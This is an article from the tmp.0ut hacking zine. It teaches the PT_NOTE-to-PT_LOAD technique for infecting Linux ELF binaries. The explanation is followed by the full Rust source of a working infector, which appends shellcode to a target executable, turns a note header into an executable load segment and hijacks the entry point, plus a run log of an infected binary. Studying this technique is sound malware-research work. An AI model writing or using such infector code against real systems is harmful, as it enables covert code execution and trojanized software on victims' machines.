tmp.0ut

       \_______________________________________________________________________/
    o_/_________________________________________________________________________\_o
       | |          ___________                              __              | |
       | |          \__    ___/____ ______      ____  __ ___/  |_            | |
       | |            |    | /     \\____ \    /  _ \|  |  \   __\           | |
       | |            |    ||  Y Y  \  |_> >  (  <_> )  |  /|  |             | |
       | |            |____||__|_|  /   __/ /\ \____/|____/ |__|             | |
       | |                        \/|__|    \/                               | |
       | |                                                                   | |
       | |         ::: PT_NOTE to PT_LOAD ELF injector (in Rust) :::         | |
       | |              `- with love from d3npa and tmp.0ut <3               | |
       | |                                                                   | |

    +------------------------------------------------------------------------------
    | A Japanese version is available on Github / 日本語版はGithubにてご覧できます
    | https://github.com/d3npa/hacking-trix-rust/blob/main/elf/ptnote-infector
    +------------------------------------------------------------------------------

    I read about a technique on the SymbolCrash blog for injecting shellcode
    into an ELF binary by converting a PT_NOTE in the Program Headers into a
    PT_LOAD. I thought this sounded interesting and I didn't know a lot about
    ELF, so I took it as an opportunity to learn many new things at once.

    For this project I created a small, very incomplete library I called
    mental_elf which makes parsing and writing ELF metadata easier. I think
    the library code is very straight-forward and easy to understand, so I
    won't talk about it any more here.

    ====[ overview ]===============================================================

    As implied by the title, this infection technique involves converting an
    ELF's `PT_NOTE` program header into a `PT_LOAD` in order to run shellcode.
    The infection boils down to three steps:

        - Append the shellcode to the end of the ELF file
        - Load the shellcode to a specific address in virtual memory
        - Change the ELF's entry point to the above address so the shellcode is
        executed first

    The shellcode should also be patched for each ELF such that it jumps back to
    the host ELF's original entry point, allowing the host to execute normally
    after the shellcode is finished.

    Shellcode may be loaded into virtual memory via a PT_LOAD header.
    Inserting a new program header into the ELF file would likely break many
    offsets throughout the binary, however it is usually possible to repurpose a
    PT_NOTE header without breaking the binary.

    Here is a note about the Note Section in the ELF Specification:

        +--------------------------------------------------------------------------
        | Note information is optional.  The presence of note information does
        | not affect a program’s ABI conformance, provided the information does
        | not affect the program’s execution behavior. Otherwise, the program
        | does not conform to the ABI and has undefined behavior
        +--------------------------------------------------------------------------

    Here are two caveats I became aware of:

        - This simplistic technique will not work with PIE.
        - The Go language runtime actually expects a valid PT_NOTE section
          containing version information in order to run, so this technique
          cannot be used with Go binaries.

    Note: PIE can be disabled in cc with `-no-pie` or in rustc with
        `-C relocation-model=static`

    ====[ shellcode ]==============================================================

    The shellcode provided is written for the Netwide ASseMbler (NASM).
    Make sure to install `nasm` before running the Makefile!

    To create shellcode suitable for this injection, there are a couple of things
    to keep in mind. Section 3.4.1 of the AMD64 System V ABI says that the rbp,
    rsp, and rdx registers must be set to correct values before entry. This can
    be achieved by ordinary pushing and popping around the shellcode.

    My shellcode doesn't touch rbp or rsp, and setting rdx to zero before
    returning also worked.

    The shellcode also needs to be patched so it can actually jump back to the
    host's original entry point after finishing. To make patching easier,
    shellcode can be designed to run off the end of the file, either by being
    written top-to-bottom, or jumping to an empty label at the end:

        +--------------------------------------------------------------------------
        | main_tasks:
        |    ; ...
        |    jmp finish
        | other_tasks:
        |     ; ...
        | finish:
        +--------------------------------------------------------------------------

    With this design, patching is as easy as appending a jump instruction.
    In x86_64 however, jmp cannot take a 64bit operand - instead the destination
    is stored in rax and then a jmp rax is made. This rust snippet patches a
    "shellcode" byte vector to append a jump to entry_point:

        +--------------------------------------------------------------------------
        | fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
        |     // Store entry_point in rax
        |     shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
        |     shellcode.extend_from_slice(&entry_point.to_ne_bytes());
        |     // Jump to address in rax
        |     shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
        | }
        +--------------------------------------------------------------------------

    ====[ infector ]===============================================================

    The infector itself is in src/main.rs.
    It's written in an easy to follow top-to-bottom format, so if you understood
    the overview it should be very clear. I also added comments to help.
    The code uses my mental_elf library to abstract away the details of reading
    and writing the file, so that it's easier to see the technique.

    In summary, the code

    - Takes in 2 CLI parameters: the ELF target and a shellcode file
    - Reads in the ELF and Program headers from the ELF file
    - Patches the shellcode with a `jmp` to the original entry point
    - Appends the patched shellcode the ELF
    - Finds a `PT_NOTE` program header and converts it to `PT_LOAD`
    - Changes the ELF's entry point to the start of the shellcode
    - Saves the altered header structures back into the ELF file

    When an infected ELF file is run, the ELF loader will map several sections of
    the ELF file into virtual memory - our crated PT_LOAD will make sure our
    shellcode is loaded and executable. The ELF's entry point then starts the
    shellcode's execution. Then the shellcode ends, it will then jump to the
    original entry point, allowing the binary to run its original code.

        +--------------------------------------------------------------------------
        | $ make
        | cd files && make && cd ..
        | make[1]: Entering directory '/.../files'
        | rustc -C opt-level=z -C debuginfo=0 -C relocation-model=static target.rs
        | nasm -o shellcode.o shellcode.s
        | make[1]: Leaving directory '/.../files'
        | cargo run --release files/target files/shellcode.o
        | Compiling mental_elf v0.1.0
        (https://github.com/d3npa/mental-elf#0355d2d3)
        | Compiling ptnote-to-ptload-elf-injection v0.1.0 (/...)
        |     Finished release [optimized] target(s) in 1.15s
        |     Running `target/release/ptnote-to-ptload-elf-injection files/target
        files/shellcode.o`
        | Found PT_NOTE section; converting to PT_LOAD
        | echo 'Done! Run target with: `./files/target`'
        | Done! Run target with: `./files/target`
        | $ ./files/target
        | dont tell anyone im here
        | hello world!
        | $
        +--------------------------------------------------------------------------

    ====[ closing ]================================================================

    This was such a fun project! I learned so much about Rust, ELF, and viruses in
    general. Thanks to netspooky, sblip, TMZ, and others at tmp.out for teaching
    me, helping me debug and motivating me to do this project <3

    Additional Links:
    - https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
    - http://www.skyfree.org/linux/references/ELF_Format.pdf
    - https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf
    - https://github.com/d3npa/mental-elf

    The source code is below:

    ------------------------------------------------------------------------------
      Cargo.toml
    ------------------------------------------------------------------------------

    [package]
    ...

    [dependencies.mental_elf]
    git = "https://github.com/d3npa/mental-elf"
    rev = "0355d2d35558e092a038589fc8b98ac9bc70c37b"

    ------------------------------------------------------------------------------
      main.rs
    ------------------------------------------------------------------------------

    use mental_elf::elf64::constants::*;
    use std::{env, fs, process};
    use std::io::prelude::*;
    use std::io::SeekFrom;

    fn main() -> Result<(), Box<dyn std::error::Error>> {
        let args: Vec<String> = env::args().collect();
        if args.len() != 3 {
            eprintln!("Usage: {} <ELF File> <Shellcode File>", args[0]);
            process::exit(1);
        }

        let elf_path = &args[1];
        let sc_path = &args[2];

        // Open target ELF file with RW permissions
        let mut elf_fd = fs::OpenOptions::new()
            .read(true)
            .write(true)
            .open(&elf_path)?;

        // Load shellcode from file
        let mut shellcode: Vec<u8> = fs::read(&sc_path)?;

        // Parse ELF and program headers
        let mut elf_header = mental_elf::read_elf64_header(&mut elf_fd)?;
        let mut program_headers = mental_elf::read_elf64_program_headers(
            &mut elf_fd,
            elf_header.e_phoff,
            elf_header.e_phnum,
        )?;

        // Patch the shellcode to jump to the original entry point after finishing
        patch_jump(&mut shellcode, elf_header.e_entry);

        // Append the shellcode to the very end of the target ELF
        elf_fd.seek(SeekFrom::End(0))?;
        elf_fd.write(&shellcode)?;

        // Calculate offsets used to patch the ELF and program headers
        let sc_len = shellcode.len() as u64;
        let file_offset = elf_fd.metadata()?.len() - sc_len;
        let memory_offset = 0xc00000000 + file_offset;

        // Look for a PT_NOTE section
        for phdr in &mut program_headers {
            if phdr.p_type == PT_NOTE {
                // Convert to a PT_LOAD section with values to load shellcode
                println!("Found PT_NOTE section; converting to PT_LOAD");
                phdr.p_type = PT_LOAD;
                phdr.p_flags = PF_R | PF_X;
                phdr.p_offset = file_offset;
                phdr.p_vaddr = memory_offset;
                phdr.p_memsz += sc_len as u64;
                phdr.p_filesz += sc_len as u64;
                // Patch the ELF header to start at the shellcode
                elf_header.e_entry = memory_offset;
                break;
            }
        }

        // Commit changes to the program and ELF headers
        mental_elf::write_elf64_program_headers(
            &mut elf_fd,
            elf_header.e_phoff,
            elf_header.e_phnum,
            program_headers,
        )?;
        mental_elf::write_elf64_header(&mut elf_fd, elf_header)?;

        Ok(())
    }

    fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
        // Store entry_point in rax
        shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
        shellcode.extend_from_slice(&entry_point.to_ne_bytes());
        // Jump to address in rax
        shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
    }

    ------------------------------------------------------------------------------
    ------------------------------------------------------------------------------